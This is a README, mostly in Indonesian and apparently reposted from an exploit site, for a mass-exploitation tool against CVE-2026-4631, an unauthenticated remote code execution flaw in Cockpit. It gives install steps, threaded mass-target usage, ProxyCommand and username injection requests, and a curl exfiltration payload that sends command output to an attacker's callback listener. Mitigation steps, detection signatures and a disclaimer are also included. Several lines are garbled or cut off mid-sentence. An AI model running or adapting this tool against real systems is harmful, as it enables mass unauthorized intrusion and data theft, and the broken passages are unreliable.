Share
## https://sploitus.com/exploit?id=B4423B41-80EB-54A0-8CBA-39356C37524C
# CVE-2026-4631 โ€” Cockpit Mass Exploit Tool

> **Unauthenticated Remote Code Execution via SSH Command-Line Argument Injection**
> Cockpit versions 327 โ€“ 359 | CVSS 9.8 Critical | CWE-78

Tool mass exploitation untuk CVE-2026-4631 pada Cockpit web service (`cockpit-ws`, port 9090). Mendukung mode vulnerability scan, mode RCE dengan capture output command via built-in HTTP callback listener, **mode `--auto` (scan + exploit sekali jalan dengan command default `id`)**, **auto-add port `:9090`** untuk target tanpa port, kedua attack vector (ProxyCommand + username `%r` injection), mass target dari file, concurrency threading, dan output result terstruktur.

**Author:** 0xNuts

---

## Quick Start

### Clone & Install

```bash
git clone https://github.com/ExDev994/CVE-2026-4631-cockpit-RCE.git
cd CVE-2026-4631-cockpit-RCE
pip install -r requirements.txt
```

### Siapkan Target

Edit `targets.txt` โ€” satu host per baris. Port `:9090` otomatis ditambahkan jika tidak ada:

```
192.168.1.10
cockpit.example.com
https://manage.lab.local
```

### Jalankan (Mode AUTO โ€” Recommended)

```bash
# Scan + exploit sekali jalan, command default "id"
python3 exploit.py -f targets.txt --auto --callback-ip 

# Contoh output di results.txt:
# example.com:9090 [ uid=0(root) gid=0(root) groups=0(root) ]
```

### Mode Lainnya

```bash
# Scan vulnerability saja (tanpa exploit)
python3 exploit.py -f targets.txt --scan -o scan_results.txt

# RCE eksplisit dengan command custom
python3 exploit.py -f targets.txt -c "whoami" --callback-ip 

# Single target
python3 exploit.py -t cockpit.example.com --auto --callback-ip 
```

### Catatan Callback

CVE-2026-4631 adalah **blind RCE** โ€” output command tidak kembali di HTTP response. Tool pakai built-in HTTP listener (port default `8888`) untuk capture output. Pastikan:

1. `--callback-ip` adalah IP yang **reachable dari target** (bukan `127.0.0.1`)
2. Firewall allow inbound TCP port `8888` (atau `--listener-port` custom)
3. Target bisa outbound HTTP ke IP attacker

---

## Cara Fix / Mitigasi (Defender)

### 1. Upgrade Cockpit (Mandatory)

```bash
# Debian / Ubuntu
sudo apt update && sudo apt install cockpit-ws

# RHEL / Fedora / CentOS
sudo dnf update cockpit-ws

# Verifikasi versi (harus >= 360)
dpkg -l cockpit-ws | awk 'NR==5{print $3}'   # Debian
rpm -q cockpit-ws                            # RHEL
```

### 2. Disable Remote Login (Workaround)

Edit `/etc/cockpit/cockpit.conf`:

```ini
[WebService]
LoginTo = false
```

Restart service:

```bash
sudo systemctl restart cockpit
```

### 3. Network Segmentation

Restrict port 9090 ke management network saja:

```bash
sudo iptables -A INPUT -p tcp --dport 9090 -s 10.0.0.0/8 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 9090 -j DROP
```

### 4. Upgrade OpenSSH >= 9.6

Mitigates Vector 1 (ProxyCommand injection) via early hostname validation:

```bash
ssh -V   # harus OpenSSH_9.6 atau lebih baru
```

### 5. Patch Manual (Backport)

Jika tidak bisa upgrade ke 360, apply patch commit:
- [cockpit 9d0695647](https://github.com/cockpit-project/cockpit/commit/9d0695647) โ€” tambah `--` separator di `beiboot.py` dan `cockpitauth.c`
- [ferny 44ec511c99](https://github.com/allisonkarlitskaya/ferny/commit/44ec511c99) โ€” tambah `--` di `session.py`

Detail patch: lihat [docs/PATCH_ANALYSIS.md](docs/PATCH_ANALYSIS.md)

---

## Daftar Isi

1. [Ringkasan Vulnerability](#ringkasan-vulnerability)
2. [Attack Vector](#attack-vector)
3. [Prasyarat Eksploitasi](#prasyarat-eksploitasi)
4. [Instalasi](#instalasi)
5. [Penggunaan](#penggunaan)
6. [Mode Operasi](#mode-operasi)
7. [Contoh Eksekusi](#contoh-eksekusi)
8. [Format Output](#format-output)
9. [Arsitektur Tool](#arsitektur-tool)
10. [Struktur File](#struktur-file)
11. [Mekanisme Blind RCE Capture](#mekanisme-blind-rce-capture)
12. [Deteksi & Mitigasi](#deteksi--mitigasi)
13. [Disclaimer Hukum](#disclaimer-hukum)
14. [Referensi](#referensi)

---

## Ringkasan Vulnerability

| Field | Detail |
|---|---|
| **CVE ID** | CVE-2026-4631 |
| **GHSA** | [GHSA-m4gv-x78h-3427](https://github.com/cockpit-project/cockpit/security/advisories/GHSA-m4gv-x78h-3427) |
| **Severity** | Critical (CVSS 9.8) |
| **CWE** | CWE-78 โ€” OS Command Injection |
| **Affected** | Cockpit 327 โ€“ 359 |
| **Fixed in** | Cockpit 360+ |
| **Auth required** | NO (pre-authentication) |
| **Reporter** | Jelle van der Waa |
| **Service** | `cockpit-ws`, default port 9090 |

Cockpit v327 mengganti `cockpit-ssh` (libssh) dengan `python3 -m cockpit.beiboot` yang invoke system OpenSSH `ssh` client. User-controlled input โ€” **hostname** dari URL path dan **username** dari `Authorization: Basic` header โ€” dipass ke `ssh` **tanpa sanitasi** dan **tanpa `--` end-of-options separator**. Injection terjadi sebelum credential verification, jadi tidak butuh login valid.

---

## Attack Vector

### Vector 1 โ€” ProxyCommand Injection (Primary)

Hostname dari URL path di-inject dengan SSH option `-oProxyCommand=`.

```http
GET /cockpit+=-oProxyCommand=/login HTTP/1.1
Host: target:9090
Authorization: Basic base64("x:x")
```

SSH parse `-oProxyCommand=` sebagai option, eksekusi `` sebagai ProxyCommand. Command jalan sebagai user process `cockpit-ws`.

**Prasyarat:** OpenSSH ; #:x")
```

SSH expand `%r` dengan username di `Match exec` directive โ†’ shell execute injected command.

**Prasyarat:** target `ssh_config` punya `Match exec` directive dengan `%r` token.

---

## Prasyarat Eksploitasi

### Sisi Attacker (mesin yang jalan tool)

- Python 3.8+
- IP reachable dari target Cockpit (untuk callback listener)
- Port terbuka untuk listener (default 8888)
- Firewall allow inbound dari target ke listener port

### Sisi Target (Cockpit instance)

- Cockpit version 327 โ€“ 359
- Port 9090 reachable
- Remote login feature (`LoginTo`) tidak di-disable
- Untuk Vector 1: OpenSSH =2.31` โ€” HTTP client untuk exploit request
- `colorama>=0.4` โ€” colored terminal output

Tidak ada dependency tambahan untuk listener (menggunakan stdlib `http.server` + `threading`).

---

## Penggunaan

```
usage: exploit.py [-h] [-t TARGET] [-f FILE] [--default-port PORT]
                  [-c CMD] [--scan] [--auto] [--vector {auto,proxycommand,username}]
                  [-o OUTPUT] [--callback-ip CALLBACK_IP] [--listener-port LISTENER_PORT]
                  [--threads THREADS] [--timeout TIMEOUT] [--delay DELAY] [--proxy PROXY]
                  [--user-agent UA] [-v] [--no-color]

CVE-2026-4631 Cockpit Mass Exploit โ€” Unauthenticated RCE via SSH Argument Injection

optional arguments:
  -h, --help            show this help message and exit
  -t, --target          single target URL/host (port auto-added jika absent)
  -f, --file            file containing list of targets (one per line)
  --default-port        port yang di-append jika target tanpa port (default: 9090)
  -c, --cmd             command to execute (default: "id" pada mode --auto / RCE)
  --scan                vulnerability scan mode (no RCE, probe endpoint only)
  --auto                scan + exploit sekali jalan, command default "id"
  --vector              exploit vector: auto|proxycommand|username (default: auto)
  -o, --output          result output file (default: results.txt)
  --callback-ip         attacker IP reachable from target (for callback listener)
  --listener-port       callback listener port (default: 8888)
  --threads             concurrent workers (default: 10)
  --timeout             seconds to wait for callback per target (default: 10)
  --delay               delay between requests in seconds (default: 0)
  --proxy               HTTP proxy for debugging (e.g. http://127.0.0.1:8080)
  --user-agent          custom User-Agent string
  -v, --verbose         verbose output (debug)
  --no-color            disable colored output
```

---

## Mode Operasi

### Mode 1 โ€” Vulnerability Scan (`--scan`)

Probe endpoint `/cockpit+=probe-host/login` tanpa exploit. Deteksi:
- Cockpit fingerprint via response headers/body
- Vulnerable login flow active (response code 401/403/200/500)
- Versi inference jika possible

Tidak mengirim payload berbahaya, tidak butuh callback listener.

### Mode 2 โ€” RCE dengan Command Capture (`-c "cmd"`)

Eksekusi command di target, capture output via callback:
- Built-in HTTP listener start di background
- Payload ProxyCommand wrap command dengan `curl` exfil ke listener
- Output di-base64, dikirim POST ke listener
- Listener decode dan match ke target via request ID
- Result ditulis ke file output
- Jika `-c` tidak diisi, default command = `id`

### Mode 3 โ€” AUTO (`--auto`) โ€” Recommended

Scan + exploit dalam satu pass, command default `id`:

1. Parse target list (auto-add port 9090 jika absent)
2. Start callback listener
3. Per target: scan โ†’ jika VULN langsung exploit dengan `id` (atau `-c` override)
4. Target NOT VULN / UNREACHABLE di-skip (tidak di-exploit)
5. Result: `host [ uid=0(root) ... ]`

### Mode 4 โ€” Auto Vector (`--vector auto`)

Try Vector 1 (ProxyCommand) pertama. Jika response menunjukkan OpenSSH >= 9.6 (hostname validation error), fallback ke Vector 2 (username `%r`).

### Auto-Port Normalization

Setiap entry di `targets.txt` tanpa port otomatis di-append `:9090`:

```
host              โ†’ http://host:9090
host:9090         โ†’ http://host:9090
https://host      โ†’ https://host:9090
192.168.1.10      โ†’ http://192.168.1.10:9090
[::1]             โ†’ http://[::1]:9090
```

---

## Contoh Eksekusi

### AUTO โ€” Scan + Exploit (Recommended)

```bash
# Target tanpa port โ†’ auto :9090, command default "id"
python3 exploit.py -f targets.txt --auto --callback-ip 10.10.10.10

# Override command
python3 exploit.py -f targets.txt --auto -c "whoami" --callback-ip 10.10.10.10
```

Output `results.txt`:
```
# CVE-2026-4631 mass exploit results โ€” 2026-07-12 00:42
# mode: auto
# command: id
# vector: auto
example.com:9090 [ uid=0(root) gid=0(root) groups=0(root) ]
10.0.0.5:9090 [ uid=0(root) gid=0(root) groups=0(root) ]
host3.example.com:9090 [ VULN - no callback received (OpenSSH >= 9.6?) ]
host4.example.com:9090 [ NOT VULN ]
```

### Vulnerability Scan โ€” Mass Target

```bash
python3 exploit.py -f targets.txt --scan -o scan_results.txt
```

Output `scan_results.txt`:
```
target1.example.com:9090 [ VULN - Cockpit login flow active (HTTP 401) ]
target2.example.com:9090 [ NOT VULN ]
target3.example.com:9090 [ UNREACHABLE (ConnectionError) ]
```

### RCE โ€” Single Target

```bash
python3 exploit.py -t target -c "id" --callback-ip 10.10.10.10
# equivalent: -t http://target:9090/
```

Output:
```
target:9090 [ uid=0(root) gid=0(root) groups=0(root) ]
```

### RCE โ€” Mass Target dengan Command Capture

```bash
python3 exploit.py -f targets.txt -c "id" -o results.txt --callback-ip 10.10.10.10 --threads 20
```

### RCE โ€” Spesifik Vector

```bash
# Force Vector 1 ProxyCommand
python3 exploit.py -f targets.txt -c "cat /etc/passwd" --vector proxycommand

# Force Vector 2 username %r
python3 exploit.py -f targets.txt -c "whoami" --vector username
```

### Tuning Koncurrency & Timeout

```bash
python3 exploit.py -f targets.txt -c "id" \
  --callback-ip 10.10.10.10 \
  --listener-port 9999 \
  --threads 50 \
  --timeout 15 \
  --delay 0.2
```

### Debug via Proxy

```bash
python3 exploit.py -t http://target:9090/ -c "id" --proxy http://127.0.0.1:8080 -v
```

---

## Format Output

Result file format line-per-target:

```
 [  ]
```

| Status | Makna |
|---|---|
| `uid=0(root) ...` | RCE sukses, output command ter-capture |
| `VULN - no callback received (OpenSSH >= 9.6?)` | Target vulnerable tapi Vector 1 diblok OpenSSH 9.6+, coba Vector 2 |
| `VULN - endpoint active` | Scan mode, endpoint vulnerable terdeteksi |
| `NOT VULN` | Cockpit >= 360 atau endpoint tidak ada |
| `UNREACHABLE` | Koneksi gagal / timeout koneksi |
| `ERROR: ` | Exception saat eksekusi |

Header result file mencatat timestamp, command, vector, dan jumlah target.

---

## Arsitektur Tool

```mermaid
flowchart TD
    CLI["exploit.pyargparse CLI + banner"] --> Parser["core/target.pyparse & normalize targets"]
    CLI --> Engine["core/engine.pyorchestrator"]
    Engine --> Listener["core/listener.pyHTTP callback server thread"]
    Engine --> Pool["ThreadPoolExecutorconcurrent workers"]
    Pool --> Scanner["core/scanner.pyvuln probe"]
    Pool --> Exploit["core/exploit.pypayload generator"]
    Scanner --> Req1["requests GET/cockpit+=test/login"]
    Exploit --> Req2["requests GET/cockpit+=-oProxyCommand=PAYLOAD/login"]
    Req2 --> Target["Cockpit target :9090"]
    Target -->|"blind RCEcurl callback"| Listener
    Listener --> Shared["shared dictREQID -> output"]
    Engine --> Result["utils/result.pywrite results.txt"]
    Shared --> Engine
```

### Komponen

- **exploit.py** โ€” entry point, parse argumen, dispatch ke engine, render banner
- **core/target.py** โ€” baca `-f file` / `-t url`, normalisasi (add `http://`, default port 9090), deduplikasi
- **core/scanner.py** โ€” mode `--scan`, probe endpoint, fingerprint Cockpit, infer vulnerability
- **core/exploit.py** โ€” generate payload per vector, kirim exploit request via `requests`
- **core/listener.py** โ€” `ThreadingHTTPServer` di `--callback-ip:--listener-port`, parse `?id=REQID&out=BASE64`, simpan ke shared dict
- **core/engine.py** โ€” orchestrator: start listener, spawn ThreadPoolExecutor, match callback ke target via request ID, handle timeout, write result
- **utils/banner.py** โ€” ASCII banner
- **utils/result.py** โ€” writer result file dengan format `host [ output ]`

---

## Struktur File

```
CVE-2026-4631-cockpit-RCE/
โ”œโ”€โ”€ exploit.py                  # entry point CLI
โ”œโ”€โ”€ requirements.txt            # dependencies
โ”œโ”€โ”€ README.md                   # dokumentasi ini
โ”œโ”€โ”€ targets.txt                 # contoh target list
โ”œโ”€โ”€ results.txt                 # output (generated)
โ”œโ”€โ”€ core/
โ”‚   โ”œโ”€โ”€ __init__.py
โ”‚   โ”œโ”€โ”€ target.py               # parser target
โ”‚   โ”œโ”€โ”€ scanner.py              # mode scan vuln
โ”‚   โ”œโ”€โ”€ exploit.py              # payload generator + sender
โ”‚   โ”œโ”€โ”€ listener.py             # HTTP callback server
โ”‚   โ””โ”€โ”€ engine.py               # orchestrator
โ”œโ”€โ”€ utils/
โ”‚   โ”œโ”€โ”€ __init__.py
โ”‚   โ”œโ”€โ”€ banner.py               # ASCII banner
โ”‚   โ””โ”€โ”€ result.py               # result writer
โ””โ”€โ”€ docs/
    โ”œโ”€โ”€ VULN_ANALYSIS.md        # analisis mendalam vulnerability
    โ”œโ”€โ”€ PATCH_ANALYSIS.md       # analisis patch commit
    โ””โ”€โ”€ DETECTION.md            # signature deteksi
```

---

## Mekanisme Blind RCE Capture

CVE-2026-4631 adalah **blind RCE** โ€” output command tidak dikembalikan di HTTP response Cockpit. Tool mengatasi dengan built-in HTTP callback listener:

### Flow

1. **Listener start** โ€” HTTP server threaded dengarkan `--callback-ip:--listener-port`
2. **Generate REQID** โ€” per target, UUID4 hex 8-char unik
3. **Build payload** โ€” ProxyCommand wrap command dengan curl exfil:
   ```bash
   bash -c 'curl -s http://CALLBACK_IP:PORT/cb?id=REQID --data "$(CMD | base64 -w0)"'
   ```
4. **URL-encode payload** โ€” inject ke hostname field:
   ```
   GET /cockpit+=-oProxyCommand=/login
   Authorization: Basic base64("x:x")
   ```
5. **Kirim request** โ€” via `requests.get`, `verify=False` untuk self-signed cert
6. **Tunggu callback** โ€” poll shared dict `results[REQID]` sampai `--timeout`
7. **Match & decode** โ€” jika callback masuk, decode base64 output, match ke target via REQID
8. **Write result** โ€” `host [ decoded_output ]` ke file output

### Fallback Tanpa Callback

Jika timeout tanpa callback, cek response SSH error:
- Hostname validation error โ†’ OpenSSH >= 9.6, Vector 1 blocked โ†’ `VULN - no callback (OpenSSH >= 9.6?)`
- Connection error โ†’ `UNREACHABLE`
- Endpoint tidak ada โ†’ `NOT VULN`

### Concurrency

- `ThreadPoolExecutor(max_workers=--threads)` parallel per target
- Shared `dict[REQID] -> target_host` + `dict[REQID] -> output` dengan `threading.Lock`
- `ThreadingHTTPServer` handle concurrent callback
- Per-target `try/except`: connection error, SSL error, timeout

---

## Deteksi & Mitigasi

### Network IDS Signature

```
GET /cockpit+=-o[A-Za-z]+=.*/login
GET /cockpit+=-[A-Za-z].*/login
```

Watch for:
- `-oProxyCommand=` di URL path
- Semicolon (`;`) di decoded `Authorization: Basic` value

### Log Hunting

```bash
journalctl -u cockpit-ws | grep -E "beiboot|ProxyCommand|-oProxy"
journalctl _COMM=ssh | grep -v "^--$"
```

### Mitigasi

1. **Upgrade Cockpit >= 360** (mandatory fix)
2. **Disable remote login** โ€” `/etc/cockpit/cockpit.conf`:
   ```ini
   [WebService]
   LoginTo = false
   ```
3. **Network segmentation** โ€” restrict port 9090 ke management network:
   ```bash
   iptables -A INPUT -p tcp --dport 9090 -s 10.0.0.0/8 -j ACCEPT
   iptables -A INPUT -p tcp --dport 9090 -j DROP
   ```
4. **Upgrade OpenSSH >= 9.6** โ€” mitigates Vector 1 (early hostname validation)

### Version Check

```bash
dpkg -l cockpit-ws | awk 'NR==5{print $3}'   # Debian/Ubuntu
rpm -q cockpit-ws                            # RHEL/Fedora
# Vulnerable: 327 <= version <= 359
```

---

## Disclaimer Hukum

Tool ini dibuat untuk **penetration testing authorized**, **security research**, dan **vulnerability validation** pada sistem yang Anda miliki atau memiliki izin tertulis untuk diuji.

**Penggunaan tool ini pada sistem tanpa izin eksplisit dari pemilik adalah ilegal** dan dapat dikenai sanksi pidana sesuai hukum yang berlaku (di Indonesia: UU ITE Pasal 30-33).

Author tidak bertanggung jawab atas penyalahgunaan tool ini. Gunakan secara etis dan bertanggung jawab.

**Authorized use cases:**
- Audit keamanan pada infrastruktur sendiri
- Engagement penetration testing dengan scope tertulis
- Validasi patch pada lab environment
- CTF dan security training

---

## Referensi

| Resource | URL |
|---|---|
| GitHub Advisory | https://github.com/cockpit-project/cockpit/security/advisories/GHSA-m4gv-x78h-3427 |
| OSS-Security Disclosure | https://www.openwall.com/lists/oss-security/2026/04/10/5 |
| Red Hat Bugzilla | https://bugzilla.redhat.com/show_bug.cgi?id=2450246 |
| NVD Entry | https://nvd.nist.gov/vuln/detail/cve-2026-4631 |
| Fix commit (cockpit) | https://github.com/cockpit-project/cockpit/commit/9d0695647 |
| Fix commit (ferny) | https://github.com/allisonkarlitskaya/ferny/commit/44ec511c99 |
| CPython argparse bug | https://github.com/python/cpython/issues/66623 |
| OpenSSH 9.6 hostname validation | https://github.com/openssh/openssh-portable/commit/7ef3787 |
| Reference PoC | https://github.com/cyberheartmi9/CVE-2026-4631-cockpit-RCE |

---

## Lisensi

Untuk keperluan research dan authorized testing. Tidak untuk distribusi komersial tanpa izin.